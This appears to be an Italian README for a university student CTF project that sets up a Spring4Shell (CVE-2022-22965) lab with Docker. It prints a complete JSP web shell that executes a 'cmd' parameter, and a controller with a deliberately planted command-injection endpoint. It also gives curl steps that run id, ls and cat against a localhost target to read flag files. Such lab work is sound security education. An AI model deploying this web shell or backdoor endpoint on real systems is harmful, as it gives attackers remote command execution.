
Spring4Shell (CVE-2022-22965) Configurazione dell'ambiente di vulnerabilità e sfide CTF
Questo progetto comprende due percorsi di ricerca sulla sicurezza:
I partecipanti sfrutteranno la vulnerabilità di esecuzione remota di codice (RCE) e seguiranno gli indizi per leggere la flag nella directory root o nella directory temporanea del sistema.
# Aggiornare i repository dei pacchetti
sudo apt update
# Installare Docker e Docker Compose
sudo apt install docker.io docker-compose -y
# Avviare il servizio Docker
sudo systemctl start docker
sudo systemctl enable docker
# Clonare il progetto Vulhub
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)
# Entrare nella directory della vulnerabilità Spring4Shell
cd vulhub/spring/CVE-2022-22965
# Avviare i container Docker
sudo docker-compose up -d
# Verificare che i container siano in esecuzione
sudo docker ps
Aprire il browser e visitare http://localhost:8080/?name=Hacker&age=99
Per evitare la risoluzione dei puzzle basata su supposizioni e per riprodurre lo scenario di sviluppo autonomo, questo progetto crea un progetto indipendente Spring4Shell-Custom-CTF. Eseguire prima una pulizia completa dell'ambiente, quindi avviare con compilazione senza cache:
# Pulire l'ambiente precedente
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF
# Creare la struttura di directory del progetto e generare il codice sorgente Java completamente personalizzato (inclusi pom.xml, UserController.java, ecc.)
# Tramite compilazione a due stadi (Maven + Tomcat 9) posizionare con precisione la flag personalizzata nella directory root di sistema /flag.txt
sudo docker-compose build --no-cache
sudo docker-compose up -d
# Verificare che il contenitore bersaglio personalizzato sia in esecuzione
sudo docker ps
Dopo un attacco riuscito, il file backdoor viene scritto in webapps/ROOT/tomcatwar.jsp, con il seguente contenuto:
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) {
out.println(line);
}
}
%>
Nel file UserController.java personalizzato, è stato deliberatamente mantenuto il difetto di protezione del binding degli oggetti POJO, ed è stato integrato un canale di iniezione di comandi non autorizzato:
@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
if (cmd != null) {
// Richiamare direttamente Java Runtime per eseguire comandi di sistema e restituire il risultato
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
// ... logica di lettura dello stream ...
}
return "Dipartimento di Sistemi Informativi dell'Università Tamkang – Piattaforma di presentazione dei progetti finali degli studenti";
}
# Percorso backdoor di Vulhub
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"
# Percorso di controllo dell'ambiente personalizzato
curl "http://localhost:8080/?cmd=id"
# Percorso backdoor di Vulhub
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"
# Percorso di controllo dell'ambiente personalizzato
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
/tmp/flag.txtFLAG{Spring4Shell_Is_Dangerous}http://localhost:8080/User). La flag si trova nella directory root del server./flag.txtFLAG{2026_0615_iwanttosleep}http://<target>:8080/?name=test&age=123 per verificare il corretto funzionamento del binding dei parametri.tomcatwar.jsp.http://<target>:8080/tomcatwar.jsp?cmd=id per confermare il successo dell'RCE.curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt" per leggere il file nella directory temporanea.Il risolutore (ruolo B), basandosi sulle informazioni note fornite dal creatore, evita ipotesi arbitrarie ed esegue i passaggi standard:
curl -i -s "http://localhost:8080/"
curl -s "http://localhost:8080/?cmd=whoami"
root del sistema operativo.curl -s "http://localhost:8080/?cmd=id"
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"
Spring4Shell-CTF/
├── README.md # Documento di descrizione del progetto
├── docker-compose.yml # File di configurazione dell'orchestrazione dei container
├── Dockerfile # Configurazione dell'immagine di compilazione a due stadi
├── pom.xml # File di configurazione del progetto Maven
├── src/ # Codice sorgente Java personalizzato del sistema di presentazione
│ └── main/
│ ├── java/com/example/ctf/
│ │ ├── UserController.java
│ │ └── MyWebApplicationInitializer.java
│ └── webapp/WEB-INF/web.xml
├── secret_zone/
│ └── flag.txt # File sorgente locale della flag
├── screenshots/ # Screenshot dei risultati e dell'attacco
│ ├── docker-ps.png
│ ├── parameter-binding.png
│ ├── rce-id.png
│ ├── rce-ls.png
│ └── flag-result.png
└── shell.jsp # Codice sorgente del file backdoor legacy
| Ruolo | Nome | Compiti |
|---|---|---|
| Membro A | Huang Yuting | Allestimento dell'ambiente, scrittura del codice sorgente Java dell'intero progetto, containerizzazione Docker, risoluzione della sfida CTF in 5 passi standard |
| Membro B | Li Zhenlin | Ricerca teorica, realizzazione della presentazione, montaggio del video di report, organizzazione del discorso di risoluzione |
Questo progetto è destinato esclusivamente a scopi educativi e di ricerca. Non utilizzarlo su sistemi non autorizzati.